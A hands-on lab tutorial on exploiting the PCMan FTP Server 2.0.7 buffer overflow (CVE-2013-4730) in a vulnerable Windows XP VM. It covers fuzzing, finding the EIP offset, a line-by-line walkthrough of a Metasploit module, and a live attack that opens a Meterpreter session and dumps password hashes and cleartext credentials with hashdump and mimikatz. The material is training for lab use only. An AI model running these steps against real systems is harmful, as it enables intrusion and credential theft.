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(Buffer Overflow: Lesson 2)

{ Create PCMan Metasploit Module, Attack, and Capture Memory }


Section 0. Background Information
  1. What is the scenario?
    • Suppose a new exploit comes out and nobody has released any vulnerability testing scripts.  The previous lesson (Buffer Overflow: Lesson 1: PCMan's FTP Server 2.0.7 Buffer Overflow Explained) teaches you how to create perl fuzzing and exploit scripts to test if a vulnerability exists along with the corresponding implementation.
    • This lesson is to show you how to create your own Metasploit Module after conducting the proper Buffer Overflow Analysis.  
     
  2. What is Damn Vulnerable Windows XP?
    • This is a Windows XP Virtual Machine that provides a practice environment to conduct ethical penetration testing, vulnerability assessment, exploitation and forensics investigation.
    • The Microsoft Software License Terms for the IE VMs are included in the release notes.
    • By downloading and using this software, you agree to these license terms.

  3. What is PCMan FTP Server?
    • PCMan's FTP Server is a free software mainly designed for beginners not familiar with how to set up a basic FTP.  Configuration is made very easy. Consequently, security was not a major concern of this specific application version.  Accordingly, the following exploit (CVE-2013-4730) exists.
     
  4. What is the PCMan FTP Server 2.0.7 Buffer Overflow Exploit?
    • The CVE Vulnerability number is CVE-2013-4730.
    • Buffer overflow in PCMan's FTP Server 2.0.7 allows remote attackers to execute arbitrary code via a long string in a USER command.

  5. Special Thanks!!!
    1. I wanted to thank Master Peleus(@0x42424242)for his original PCMan Buffer Overflow Article in which this lesson is based upon.
    2. I wanted to thank my very talented Hac-King-Do student, Master Mitchell(@bobmitch2311) for assisting me in the creation of pcman_user.rb.  Boston College is very lucky to have a Computer Science Student of your caliber.
    3. I wanted to thank my good friend Carlos Cajigas (@carlos_cajigas) for creating LosBuntu and for his generous guidance and mentorship in Cyber Forensics

  6. References
  7. Pre-Requisite Lessons
  8. Lab Notes
    • In this lab we will do the following:
      1. We will use fuzzing, pattern_create.rb, and pattern_offset.rb to determine the offset for PCMan.
      2. We will explain every line of the Windows FTP PCMan Metasploit Module (pc-man_user.rb).
      3. We will use pcman_user.rb to check and exploit the PCMan application.
      4. We will configure a Samba Share on our Forensics Server (LosBuntu).
      5. We will download WinPMEM to the Samba Forensics Share.
      6. We will use WinPMEM to Collect Memory from the PCMan exploit and send the Captured Memory to the Samba Share.
     
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    • You are on notice, that continuing and/or using this lab outside your "own" test environment is considered malicious and is against the law.
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Section 1: Log into Damn Vulnerable WXP-SP2
  1. Open VMware Player on your windows machine.
    • Instructions:
      1. Click the Start Button
      2. Type "vmware player" in the search box
      3. Click on VMware Player

     

  2. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Damn Vulnerable WXP-SP2
      2. Edit Virtual Machine Settings
    • Note:
      • Before beginning a lesson it is necessary to check the following VM settings.

     

  3. Set Network Adapter
    • Instructions:
      1. Click on Network Adapter
      2. Click on the radio button "Bridged: Connected directly to the physical network".
      3. Click the OK Button

     

  4. Start Up Damn Vulnerable WXP-SP2.
    • Instructions:
      1. Start Up your VMware Player
      2. Play virtual machine

     

  5. Logging into Damn Vulnerable WXP-SP2.
    • Instructions:
      1. Click on Administrator
      2. Password: Supply Password
        •  (See Note)
      3. Press <Enter> or Click the Arrow
    • Note(FYI):
      1. Password was created in (Lab 1, Section 1, Step 8)

     

  6. Open the Command Prompt
    • Instructions:
      1. Click the Start Button
      2. All Programs --> Accessories --> Command Prompt

     

  7. Obtain Damn Vulnerable WXP-SP2's IP Address
    • Instructions:
      1. ipconfig
      2. Record Your IP Address
    • Note(FYI):
      • In my case, Damn Vulnerable WXP-SP2's IP Address 192.168.2.106.
      • This is the IP Address of the Victim Machine.

 

Section 2: Configure Kali Virtual Machine Settings
  1. Open VMware Player on your windows machine.
    • Instructions:
      1. Click the Start Button
      2. Type "vmware player" in the search box
      3. Click on VMware Player

     

  2. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Kali
      2. Edit Virtual Machine Settings
    • Note:
      • Before beginning a lesson it is necessary to check the following VM settings.

     

  3. Configure CD/DVD
    • Instructions:
      1. Click on CD/DVD (IDE)
      2. Click on the radio button "Use physical drive:"
      3. Select Auto detect

     

  4. Set Network Adapter
    • Instructions:
      1. Click on Network Adapter
      2. Click on the radio button "Bridged: Connected directly to the physical network".
      3. Click the OK Button

 

Section 3: Play and Login to Kali
  1. Start Up Kali
    • Instructions:
      1. Click on Kali
      2. Play virtual machine

     

  2. Supply Username
    • Instructions:
      1. Click Other...
      2. Username: root
      3. Click the Log In Button

     

  3. Supply Password
    • Instructions:
      1. Password: <Provide you Kali root password>
      2. Click the Log In Button

     

  4. Open a Terminal Window
    • Instructions:
      1. Click on Applications
      2. Accessories --> Terminal

     

  5. Obtain Kali's IP Address
    • Instructions:
      1. ifconfig
      2. Record your IP Address
    • Note(FYI):
      • Arrow #1, ifconfig is used to display Kali's IP Address.
      • Arrow #2, Record Your IP Address. 
        • Mine is 192.168.2.111
        • Yours will probably be different.

 

Section 4: Power On the LosBuntu VM
  1. Open VMware Player on your windows machine.
    • Instructions:
      1. Click the Start Button
      2. Type "vmware player" in the search box
      3. Click on VMware Player

     

  2. Edit Virtual Machine Settings
    • Instructions:
      1. Select LosBuntu
      2. Click Edit Virtual Machine Settings

     

  3. Configure Memory
    • Instructions:
      1. Click on Memory.
      2. Up the memory to 1 GB
    • Note(FYI):
      • LosBuntu really needs 1.5 to 2 GB; however, you are only configuring MimiKatz with Volatility in this lesson.
      • Do NOT Click the OK Button, we still have more to configure.

     

  4. Configure CD/DVD(IDE)
    • Instructions:
      1. Click on CD/DVD(IDE)
      2. Device status: Check Connect at power on
      3. Connection: Click Use physical drive
      4. Select Auto detect
    • Note(FYI):
      • Do NOT Click the OK Button, we still have more to configure

     

  5. Configure Network Adapter
    • Instructions:
      1. Click on Network Adapter
      2. Network Connection: Click Bridged (Automatic)
      3. Device status: Check Connect at power on
      4. Click the OK Button

     

  6. Play LosBuntu Virtual Machine
    • Instructions:
      1. Select LosBuntu
      2. Click Play virtual machine

     

Section 5: Login to LosBuntu
  1. Login to LosBuntu
    • Instructions:
      1. Password: mtk
      2. Press <Enter>

     

  2. Open Terminal Windows
    • Instructions:
      1. Click on the Terminal Window

     

  3. Become root
    • Instructions:
      1. sudo su -
      2. password: mtk
      3. pwd
    • Note(FYI):
      • Command #1, Use (sudo su -) to simulate an initial root login where the /etc/profile, .profile and .bashrc are executed.  Not only will the root user's environment be present, but also the root user will be placed in it's own home directory (/root).
      • Command #2, Use (pwd) to display the current working directory of the particular user.

     

  4. Obtain IP Address
    • Instructions:
      1. ifconfig -a
      2. Record Your IP Address
    • Note(FYI):
      • Command #1, Use (ifconfig) to view all (-a) IP Addresses associated with LosBuntu.  You should only have two interfaces: eth0 and lo.
        • eth0 - Is the primary interface.  In my case, the IP Address is 192.168.2.115.
        • lo - Is the local loopback address.  The loopback address is used to establish an IP connection to the same machine or computer being used by the end-user.  The loopback construct gives a computer or device capable of networking the capability to validate or establish the IP stack on the machine.
      • If your host machine has Internet Connectivity, but LosBuntu does not have an IP Address associated with eth0, then issue the following command as root.
        • dhclient -v

     

Section 6: Configure Samba
  1. Section Notes
    • Notes(FYI):
      1. The goal of this section is to configure samba to allow the victim machine to eventually dump its memory to the (/forensics/pcman) Samba Share folder.
      2. In addition, we will download WinPMEM and set the correct ownerships and permission that will allow WinPMEM to execute on the victim machine from the Samba Share.

     

  2. Create Forensics Directory (On LosBuntu)
    • Instructions:
      1. mkdir -p /forensics/pcman
      2. chown -R mtk:mtk /forensics
      3. chmod -R 770 /forensics
      4. ls -ld /forensics/pcman
    • Note(FYI):
      • Arrow #1, Use (mkdir) to create the (/forensics/pcman) directory, and use the (-p) to suppress errors if the directory already exists.
      • Arrow #2, Use (chown) to change the user and group ownerships to mtk for user and mtk for group for the (/forensics) directory and all underlying directories and files.
      • Arrow #3, Use (chmod) to set the read/write/execute permissions for both user and group for the (/forensics) directory and all underlying directories and files.
      • Arrow #4, Use (ls) with the flags (-ld) to list the (/forensics/pcman) directory listing.

     

  3. Download WinPMEM
    • Instructions:
      1. cd /forensics/pcman
      2. wget https://github.com/google/rekall/releases/download/v1.3.1/winpmem_1.6.2.exe
      3. chown -R mtk:mtk winpmem_1.6.2.exe
      4. chmod -R 770 winpmem_1.6.2.exe
    • Note(FYI):
      • Arrow #1, Use (cd) to navigate into the directory (/forensics/pcman).
      • Arrow #2, Use (wget) to download the WinPMEM Executable (winpmem_1.6.2.exe).
      • Arrow #3, Use (chown) to change the user and group ownerships to mtk for user and mtk for group for the the WinPMEM Executable (winpmem_1.6.2.exe).
      • Arrow #4, Use (chmod) to set the read/write/execute permissions for both user and group for the WinPMEM Executable (winpmem_1.6.2.exe).

     

  4. Open Samba Configuration File
    • Instructions:
      1. cd /etc/samba
      2. cp smb.conf smb.conf.BKP
      3. gedit smb.conf > /dev/null &
    • Note(FYI):
      • Arrow #1, Use (cd) to enter the (/etc/samba) directory.
      • Arrow #2, Use (cp) to make a backup copy of the samba configuration file (smb.conf).
      • Arrow #3, Use (gedit) to open the (smb.conf) file from command line.  Use the redirect operator (>) to send standard error into a black hole (/dev/null).

     

  5. Open Samba Preference
    • Instructions:
      1. Click Edit
      2. Select Preferences

     

  6. Display Line Number
    • Instructions:
      1. Check Display lines numbers
      2. Click the Close Button

     

  7. Add Forensics Directory
    • Instructions:
      1. Scroll Down to line 262
      2. Append forensics/pcman to the end of the slash /
    • Note(FYI):
      • Arrow #2, Line 262 should look like the below.
        •  path = /forensics/pcman

     

  8. Save File
    • Instructions:
      1. File --> Save

     

  9. Quit gedit
    • Instructions:
      1. File --> Quit

     

  10. Restart the Samba Service
    • Instructions:
      1. service smbd restart
    • Note(FYI):
      • Arrow #1, Use (service) to restart the samba (ie. smbd) service.

 

Section 7: PCMan's FTP Server 2:0:7 Exploit Review
  1. Section Notes
    • Notes(FYI):
      1. The goal of this section is to show a student how to conduct research using the Common Vulnerabilities and Exposures Website.

     

  2. Open Firefox (On Damn Vulnerable WXP-SP2)
    • Instructions:
      1. Click the Start Button
      2. All Programs --> Mozilla Firefox

     

  3. PCMan 2.0.7 Buffer Overdue Description
    • Instructions:
      1. Navigate to the following URL
        • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4730
    • Note(FYI):
      1. Arrow #2, The first clue of the description tells you the the remote attacker can execute arbitrary code via a long string
        • Accordingly, your question should be how long do I make the string?
      2. Arrow #3, The second clue of the description tells you that the remote attacker is attacking the USER command.
        • Subsequently, your next question should be how do we attack the USER command with a long string.

 

Section 8: Download pcman_user:rb
  1. Section Notes
    • Notes(FYI):
      1. The goal of this section is to download the pcman_user.rb module and place it in the correct metasploit framework 4.7.0 directory structure.

     

  2. Enter Windows Exploit FTP Directory (On Kali 1.0.5)
    • Instructions:
      1. cd /usr/share/metasploit-framework/modules/exploits/windows/ftp
      2. ls
    • Note(FYI):
      • Arrow #1, Use (cd) to navigate into the correct metasploit ftp directory (/usr/share/metasploit-framework/modules/exploits/windows/ftp).
      • Arrow #2, Use (ls) to display the contents of the current directory.  This particular directory contains all the Windows FTP Exploit Metasploit Modules.

     

  3. Download pcman_user.rb
    • Instructions:
      1. wget http://www.computersecuritystudent.com/SECURITY_TOOLS/BUFFER_OVERFLOW/WINDOWS_APPS/lesson2/pcman_user.rb.TXT
      2. mv pcman_user.rb.TXT pcman_user.rb
      3. chmod 644 pcman_user.rb
      4. ls -l pcman_user.rb
    • Note(FYI):
      • Arrow #1, Use (wget) to download pcman_user.rb.TXT
      • Arrow #2, Use (mv) to rename FROM pcman_user.rb.TXT TO pcman_user.rb
      • Arrow #3, Use (chmod) to set the privileges of file (pcman_user.rb) to 644, where the user has read(4) and write(2); the group has read(4); and the world has read(4).
      • Arrow #4, Use (ls -l) to list the file details of file (pcman_user.rb).

 

Section 9: Normal Usage of PCMan's FTP Server 2.0.7
  1. Section Notes
    • Notes(FYI):
      1. The goal of this section is to demonstrate how to start and stop the PCMan FTP Server as it is was originally designed.

     

  2. Start PCMan FTP Server (On Damn Vulnerable WXP-SP2)
    • Instructions:
      1. Right Click on PCMANFTPD2
      2. Click on Open

     

  3. PCMan is Online
    • Note(FYI):
      1. Arrow #1, Notice the FTP Server is online

     

  4. Exit PCMan
    • Instructions:
      1. --> (See Picture)
      2. Click the Yes Button

 

Section 10: Basic FTP Footprint Test
  1. Section Notes
    • Notes(FYI):
      1. The goal of this section is to conduct a basic footprinting interrogation using nmap and telnet.

     

  2. Start PCMan FTP Server (On Damn Vulnerable WXP-SP2)
    • Instructions:
      1. Right Click on PCMANFTPD2
      2. Click on Open

     

  3. PCMan is Online
    • Note(FYI):
      1. Notice the FTP Server is online.
        • I apologize for the repetitive starting and stopping of the FTP Server.
        • But, Practice Makes Better

     

  4. Basic NMAP Scan (On Kali 1.0.5)
    • Note(FYI):
      • Replace (192.168.2.106) with your Damn Vulnerable WXP-SP2 Address found in (Section 1, Step 7).
    • Instructions:
      1. nmap 192.168.2.106
      2. Notice that you can see that FTP is running on Port 21
    • Note(FYI):
      • Arrow #1, Use (nmap) to run a very basic footprint scan on the Damn Vulnerable WXP-SP2 machine.
      • Arrow #2, It is great that we can see that FTP is running, but you should be asking who is the vendor and what is the version.

     

  5. View Basic NMAP Scan Connection (On Damn Vulnerable WXP-SP2)
    • Note(FYI):
      1. In my case, a User made a connection from 192.168.2.111, which is the IP Address of my Kali Machine. 
      2. Notice the connects and disconnects within the same second.  Accordingly, this is a pretty good sign that somebody is scanning you.

     

  6. NMAP Version Banner Scan (On Kali 1.0.5)
    • Note(FYI):
      • Replace (192.168.2.106) with your Damn Vulnerable WXP-SP2 Address found in (Section 1, Step 7).
    • Instructions:
      1. nmap -sV --script=banner -p 21 192.168.2.106
      2. The banner displays PCMan's FTP Server 2.0
    • Note(FYI):
      • Arrow #1, use (nmap) to determine the version (-sV) of the service running on a specific port(-p 21) and display the banner (--script=banner) if possible.
      • Arrow #2, Notice how easy NMAP makes it to grab a banner, and through clever covert flag automation, an attacker can easily crawl the internet for vulnerable applications (ie., PCMan 2.0.7).

     

  7. View Banner NMAP Scan Connection (On Damn Vulnerable WXP-SP2)
    • Note(FYI):
      1. Arrow #1, Now the we used NMAP to invoke both version detection (-sV) and banner detection (--script=banner); we see a lot of connects and disconnects.
      2. Arrow #2, Also, notice that NMAP is trying to use the FTP HELP menu to potentially collect some artifacts.

     

  8. Use Telnet (On Kali 1.0.5)
    • Note(FYI):
      • Replace (192.168.2.106) with your Damn Vulnerable WXP-SP2 Address found in (Section 1, Step 7).
    • Instructions:
      1. telnet 192.168.2.106 21
      2. Notice the Banner that is displayed on the screen
      3. Press both the <Ctrl> and Right Bracket(]) keys at the same time.
      4. quit
    • Note(FYI):
      • Arrow #1, Use (telnet) to the IP (192.168.2.106)over port (21) to establish a TCP connection.
      • Arrow #2, Notice that you are also supplied the same banner that NMAP supplies.  Accordingly, this really old fashion technique is almost normal traffic, the attacker is probably not as likely to set off as many alarms.  You should turn off all banners on any service that you are running if the application provides that flexible option.

     

  9. Exit PCMan
    • Instructions:
      1. --> (See Picture)
      2. Click the Yes Button

     

Section 11: PCMan Fuzz Test Using pattern_create.rb and pattern_offset.rb
  1. Section Notes
    • Notes(FYI):
      1. The previous lesson (Section 11 to Section 15) provided you with a very primitive way to determine how many characters it takes to crash PCMan. However, just causing PCMan is not enough to determining the buffer offset.  
      2. After countless testing, it has been observed by various students that the reported OFFSET is typically between 2001 to 2003.  Therefore, it is necessary to determine your EXACT OFFSET by using the Metasploit framework sister tools (pattern_create.rb and pattern_offset.rb).  These tools will allow you to precisely determine which 4 bytes will overwrite the EIP.
    • Notes(Terms):
      1. The offset is number of bytes necessary to occur before the EIP would be overwritten.
      2. The EIP register contains the address of the next instruction to be executed. 

       

  2. PCMan Fuzz Test (On Kali 1.0.5)
    • Instructions:
      1. cd /var/tmp/BUFFER/PCMan
      2. /usr/share/metasploit-framework/tools/pattern_create.rb 2200 | tee pattern.txt
      3. ls -l pattern.txt
    • Note(FYI):
      • Arrow #1, Use (pattern_create.rb) to create a unique pattern of 2200 characters.  Instead of sending all (A's) to crash PCMan, we will send this unique string instead.  The result value contained in the EIP register can then be used with pattern_offset.rb to determine the exact offset.  Use (tee) to display the output and place that output in a file call (pattern.txt).
      • Arrow #2, Use (ls -l) to display the files general information (privileges, ownerships, byte size, last update and name).

     

  3. Open fuzzer3.pl
    • Instructions:
      1. leafpad fuzzer3.pl
    • Note(FYI):
      • Arrow #1, Use (leafpad) to open (fuzzer3.pl).  Leafpad is a simple GTK+ based text editor. The user interface is similar to Windows(tm) notepad

     

  4. Explain fuzzer3.pl (Command Line Arguments)
    • Instructions:
      1. Select Options and Check Word Wrap and Line Numbers.
      2. Arrow #2 [Line 17-18], Assign $IPADDRESS and $PORT to their corresponding command line arguments.
      3. Arrow #3, [Line 20-27], IF either $IPADDRESS -or- $PORT was not provided via the command line, THEN exit the program.

     

  5. Explain fuzzer3.pl (Does pattern.txt Exist)
    • Instructions:
      1. Arrow #1 [Line 30-38], IF the file (pattern.txt) that you created in (Section 11, Step 2) does not exit, THEN exit the program.
      2. Arrow #2, [Line 46], Assign the ($header) variable to "USER ".  In order to provide a username to a FTP server (ie PCMan), you must first specify the string (USER ) followed by a <space> and then the actual username. 
        • E.g., (USER JOHNDOE)
      3. Arrow #3, [Line 52], Use (cat) to assign the ($junk) variable to the entire string of characters located in the file (pattern.txt).  The ($junk) variable will actually be the fake username that will follow the header string(USER ).
        • E.g., $junk = "Aa0Aa1Aa2Aa3Aa4..."
      4. Arrow #4, [Line 56], Assign the ($string) variable to contain the combination of the ($header) variable with the ($junk) variable appended.
        • E.g., (USER Aa0Aa1Aa2Aa3...)

     

  6. View fuzzer3.pl (Establish Socket, Send Data)
    • Instructions:
      1. Arrow #1 [Line 59], Establish a TCP Network Socket Connection and assign to the ($socket) variable.
      2. Arrow #2, [Line 63], Use $socket->send($string) to send the ($string) variable to the $socket TCP Network Connection.
      3. Arrow #3, [Line 63], Use close($socket) to close the $socket TCP Network Connection.
      4. Click the icon to close leafpad.

     

  7. Start PCMan FTP Server (On Damn Vulnerable WXP-SP2)
    • Instructions:
      1. Right Click on PCMANFTPD2
      2. Click on Open

     

  8. PCMan is Online
    • Note(FYI):
      1. Notice the FTP Server is online.
        • I apologize for the repetitive starting and stopping of the FTP Server.

     

  9. Run OLLYDBG
    • Instructions:
      1. Right Click on the OLLYDBG Desktop Icon
      2. Select Open

     

  10. Attach OLLYDBG to PCMan Process (Part 1)
    • Instructions:
      1. File --> Attach

     

  11. Attach OLLYDBG to PCMan Process (Part 2)
    • Instructions:
      1. Click on PCManFTPD2
      2. Click on the Attach Button
    • Note(FYI):
      • Arrow #1, Make sure PCManFTPD2 is highlighted in light gray.
      • Arrow #2, OLLYDBG is an x86 debugger that will allow us to view and trace memory locations, registers, determine offsets, determine which DLLs are used, and a lot more.

     

  12. Start OllyDbg
    • Instructions:
      1. Notice that OllyDbg is currently paused ().
      2. Click the Play Icon () and paused () will change to running ()
      3. Click PCMan located in the taskbar ()
    • Note(FYI):
      • Arrow #1, PCMan is kind of in a locked stated until the Play Icon is clicked.
      • Arrow #3, You are asked to click on PCMan in the task tray to bring the PCMan application to foreground, so you can watch the subsequent buffer overflow attempts.

     

  13. PCMan Fuzz Test Using fuzzer3.pl (On Kali 1.0.5)
    • Note(FYI):
      • Replace (192.168.2.106) with your Damn Vulnerable WXP-SP2 Address found in (Section 1, Step 7).
    • Instructions:
      1. ./fuzzer3.pl 192.168.2.106 21
    • Note(FYI):
      • Arrow #1, Use (fuzzer3.pl) to send the unique string of 2200 characters created by pattern_create.rb to PCMan.

     

  14. Viewing OllyDbg Results (On Damn Vulnerable WXP-SP2)
    • Instructions:
      1. Notice that OllyDbg is currently paused () because PCMan crashed.
      2. Notice that both the ESP and ESI register points to strings that contain a bunch of unique junk.
      3. Left Click on the EIP Value, Right Click to popup a menu.
      4. Copy Selection to clipboard.
      5. Click the Close Icon ().
    • Note(FYI):
      • Arrow #3-4, Make sure you copy your EIP value instead of mine. It's very possible that yours will be different. 

     

  15. Open Notepad
    • Instructions:
      1. Click the Start Button
      2. All Programs --> Accessories --> Notepad

     

  16. Paste EIP Value
    • Instructions:
      1. Edit --> Paste

     

  17. Save File
    • Instructions:
      1. File --> Save As...
      2. Navigate to the following Folder
        • C:\BUFFER\PCMan
      3. File name: eip_value2.txt
      4. Click the Save Button
    • Note(FYI):
      1. We are saving the address just encase you are unable to paste it in the next step.

     

  18. Using pattern_offset.rb (On Kali 1.0.5)
    • Note(FYI):
      • Replace (43376F43) with your EIP value obtained in the previous step.  You should be able to paste if you have VMware Tools installed.
    • Instructions:
      1. /usr/share/metasploit-framework/tools/pattern_offset.rb 43376F43
      2. Record your Offset.  In my case, it is 2001.
    • Note(FYI):
      • Arrow #1, Use (pattern_offset.rb) to determine the exact length of the EIP address (43376F43).
      • Arrow #2, Make sure you record your offset.  It is important to note that 2001 bytes occur (in my case) before the EIP can be overwritten.

 

Section 13: Metasploit pcman_user.rb Explained
  1. Section Notes
    • Notes(FYI):
      1. In the previous section, we determined that 2001 bytes occur (in my case) before the EIP can be overwritten.
      2. In this section, we will explain the basic structure of writing a Metasploit module.

       

  2. Open pcman_user.rb (On Kali 1.0.5)
    • Instructions:
      1. cd /usr/share/metasploit-framework/modules/exploits/windows/ftp
      2. leafpad pcman_user.rb
    • Note(FYI):
      • Arrow #1, Use (cd) to navigate into the Metasploit Windows FTP Module Directory (/usr/share/metasploit-framework/modules/exploits/windows/ftp).
      • Arrow #2, Use (leafpad) to open (pcman_user.rb).  Leafpad is a simple GTK+ based text editor. The user interface is similar to Windows(tm) notepad

     

  3. Explaining pcman_user.rb (Lines: 10 - 20)
    • Instructions:
      1. Select Options and Check Word Wrap and Line Numbers.
      2. Arrow #2 [Line 10], Use the require /msf/core' statement to define the Metasploit core libraries, which are located in:
        • /usr/share/metasploit-framework/lib/msf/core for Metasploit v4.7.0.
      3. Arrow #3, [Line 14], Specify the Metasploit Framework Exploit Remote Mixins.  Mixins are portions of code with predefined functions and calls.
      4. Arrow #4, [Line 17], The Rank specifies the reliability of the exploit.
      5. Arrow #5, [Line 20], Include the FTP Method.
    • Note(FYI):
      • Arrow #1, The require statement is similar to the include statement of C and C++ and the import statement of Java. If a program wants to use any defined module, it can simply load the module files using the Ruby require statement.
      • Arrow #5, We use include to embed the Ftp Method in the class, which is located in the following file for Metasploit v4.7.0.
        • /usr/share/metasploit-framework/lib/msf/core/exploit/ftp.rb

     

  4. Explaining pcman_user.rb (Lines: 23 - 42)
    • Instructions:
      1. Arrow #1 [Line 23], def initialize is used to define a Ruby method initialize.
      2. Arrow #2, [Line 26], The info method allows the user to see information about the particular exploit vector from msfconsole.
      3. Arrow #4, [Line 29], The Name corresponds to the name or title of the exploit.
      4. Arrow #5, [Line 38], The Author corresponds to the authors of the module.

     

  5. Explaining pcman_user.rb (Lines: 48 - 71)
    • Instructions:
      1. Arrow #1 [Line 48], References corresponds to all the references you used to create the exploit.  Typically you supply the Request For Comments (RFC), Offensive Security Vulnerability Database (OSVDB), Common Vulnerabilities and Exposures (CVE), EBD numbers and anything else that helped you create the module.
      2. Arrow #2, [Line 56], DefaultOptions allows you to change default option values.  For example, we changed the default value of EXITFUNC to seh.
      3. Arrow #3, [Line 63], Payload allows you to modify the characteristics of the Payload. 
        • Space is the amount of buffer space required for the payload to execute. 
        • BadChars refers to the characters that will cause your payload to become mis-aligned and to not execute.
    • Notes(FYI):
      • Arrow #2, The SEH EXITFUNC method should be used when there is a structured exception handler (SEH) that will restart the thread or process automatically when an error occurs.

     

  6. Explaining pcman_user.rb (Lines: 74 - 91)
    • Instructions:
      1. Arrow #1 [Line 74], Platform corresponds to the Operating System (win, unix, linux, solaris, osx, and more).
      2. Arrow #2, [Line 77-84], Targets, in this case, corresponds to the JMP ESP address of the SHELL32.dll for Windows XP SP3 English.
      3. Arrow #3, [Line 88], DisclosureDate corresponds to the Vulnerability Disclosure Date. 
      4. Arrow #4, [Line 91], DefaultTarget,in this case, sets the default return code that will be used. 0 refers to the first element specified under Targets.

     

  7. Explaining pcman_user.rb (Lines: 97 - 119)
    • Instructions:
      1. Arrow #1 [Line 97-102], register_options, in this case, provides the user with an additional option. In this usage, the default OFFSET is set to 2002.  Accordingly, the user is able to adjust this value to correspond to the OFFSET of their environment.
      2. Arrow #2, [Line 107-119], def check, The Check Method determines if the application is vulnerable if the banner equals(===) "220 PCMan's FTP Server 2.0".

     

  8. Explaining pcman_user.rb (Lines: 122 - 141)
    • Instructions:
      1. Arrow #1 [Line 122], def exploit, defines the exploit method. 
      2. Arrow #2, [Line 131], sploit, this is the malicious string that contains the following: USER AAAA(2000+)AAAA'sJMP ESPNOPSPAYLOAD
      3. Arrow #3 [Line 134], send_cmd, Sends the malicious string to the victim.
      4. Arrow #4 [Line 137], handler, This is the payload handler that implements the staging and connection between the attacker and victim.
      5. Arrow #5, Click the icon to close leafpad

     

Section 14: PCMan - It's Metasploit Time!!!
  1. Section Notes
    • Notes(FYI):
      1. In this section, we will use pcman_user.rb to exploit PCMan.

       

  2. Start PCMan FTP Server (On Damn Vulnerable WXP-SP2)
    • Instructions:
      1. Right Click on PCMANFTPD2
      2. Click on Open

     

  3. PCMan is Online
    • Note(FYI):
      1. Notice the FTP Server is online.
        • I apologize for the repetitive starting and stopping of the FTP Server.

     

  4. Starting msfconsole (On Kali 1.0.5)
    • Instructions:
      1. script pcman_user.txt
      2. msfconsole
    • Note(FYI):
      • Arrow #1, Use (script) to create a typescript, that will store all the terminal output into the (pcman_user.txt) file.
      • Arrow #2, Use (msfconsole) to access the Metasploit Framework Console.

     

  5. Search for pcman
    • Instructions:
      1. search pcman
    • Note(FYI):
      • Arrow #1, Use (search) to find any modules that mentions the string  (pcman). Notice the module (exploit/windows/ftp/pcman_user) is now available for your selection.  This is the module that we added earlier in (Section 8, Step 2).

     

  6. Use the pcman_user module
    • Instructions:
      1. use exploit/windows/ftp/pcman_user
    • Note(FYI):
      • Arrow #1, Use the module (exploit/windows/ftp/pcman_user).

     

  7. show options for pcman_user
    • Instructions:
      1. show options
      2. Notice that OFFSET contains the default value of 2002
      3. Notice the RHOST is not set and is a required value.
    • Note(FYI):
      • Arrow #1, Use (show options) to display (1) the module (pcman_user) options, (2) the current setting, if required, and (3) their description.
      • Arrow #2, OFFSET is a required option, which is pre-set to 2002 bytes.
      • Arrow #3, RHOST is the IP Address of the victim machine, whose value is currently not set.

     

  8. Setting the OFFSET
    • Note(FYI):
    • Instructions:
      1. set OFFSET 2001
      2. show options
    • Note(FYI):
      • Arrow #1, Use (set OFFSET 2001), which means set the OFFSET value to 2001 bytes.  If your OFFSET happens to be 2002, then you can skip this step.
      • Arrow #2, Use (show options) to display (1) the module (pcman_user) options, (2) the current setting, if required, and (3) their description.

     

  9. Setting the RHOST
    • Note(FYI):
      • Replace (192.168.2.106) with your Damn Vulnerable WXP-SP2 Address found in (Section 1, Step 7).
    • Instructions:
      1. set RHOST 192.168.2.106
      2. show options
    • Note(FYI):
      • Arrow #1, Use (set RHOST 192.168.2.106) to target the attack vector at the victim's IP Address.
      • Arrow #2, Use (show options) to display (1) the module (pcman_user) options, (2) the current setting, if required, and (3) their description

     

  10. Display Info (Part 1)
    • Instructions:
      1. info
    • Note(FYI):
      • Arrow #1, Use (info) to display the details about the particular module.
      • Arrow #2, Display the Name, Module, Platform, Privilege, License and Rank.
      • Arrow #3, Display the author's of the module.
      • Arrow #4, Display the possible Operating System Version Targets.
      • Arrow #5, Display the module options names, current settings, requirements, and their descriptions

     

  11. Display Info (Part 2)
    • Note(FYI):
      1. Arrow #1, Display the Payload information (Space and the number of bad characters that are avoided).
      2. Arrow #2, Display the exploit description.
      3. Arrow #3, Display the references used to build the module.

     

  12. Check Vulnerability
    • Instructions:
      1. check
    • Note(FYI):
      1. Arrow #1, Use (check) to test if the vulnerability actually exists.

     

  13. View pcman_user check log (On Damn Vulnerable WXP-SP2)
    • Note(FYI):
      1. Arrow #1, You can see a connection from the Kali Machine.
      2. Arrow #2, You can that the connection is trying to use the username (USER) anonymous.
      3. Arrow #3, You can that the anonymous password (PASS) was accepted.
      4. Arrow #4, You can see the Kali Machine disconnected.

     

  14. Run Exploit
    • Instructions:
      1. exploit
      2. Notice the established Meterpreter Session
    • Note(FYI):
      • Arrow #1, Use (exploit) to implement the PCMan User exploit vector.
      • Arrow #2, Notice the established Meterpreter Session between Kali (Attacking Machine) and Damn Vulnerable Windows XP (Victim Machine).

     

  15. Meterpreter Help Menu
    • Instructions:
      1. help
    • Note(FYI):
      • Arrow #1, Use (help) to display the meterpreter core commands.

     

  16. Display General Information
    • Instructions:
      1. sysinfo
      2. getuid
      3. getpid
    • Note(FYI):
      • Arrow #1, Use (sysinfo) to Computer Name, OS Version, Architecture and Language.
      • Arrow #2, Use (getuid) to display the user that the Meterpreter server is running as on the host.
      • Arrow #3, Use (getpid) to display the Process ID that the Meterpreter server is running as on the host.

     

  17. Display the Hashdump
    • Instructions:
      1. hashdump
    • Note(FYI):
      • Arrow #1, Use (hashdump) to display the contents of the SAM database file.  The Security Account Manager (SAM) is a database file in Windows XP, Windows Vista and Windows 7 that stores users' passwords.

     

  18. Using MimiKatz
    • Instructions:
      1. load mimikatz
      2. wdigest
    • Note(FYI):
      • Arrow #1, Use (load mimikatz) to load the Mimikatz module into memory.
      • Arrow #2, Use the mimikatz metasploit module (wdigest) to display all the passwords of users that are currently logged into the server

     

  19. Using Shell
    • Instructions:
      1. shell
      2. cd ../../../
      3. echo %USERNAME%
      4. net users
    • Note(FYI):
      • Arrow #1, Use (shell) to enter into a standard shell on the target system.
      • Arrow #2, We go back three directories (../../../) since the PCMan directory is really long.  This is really not necessary to do.
      • Arrow #3, Use (%USERNAME%) to display the user that the Meterpreter Shell Session is running as on the host.
      • Arrow #4, Use (net users) to display a list of local user accounts.

 

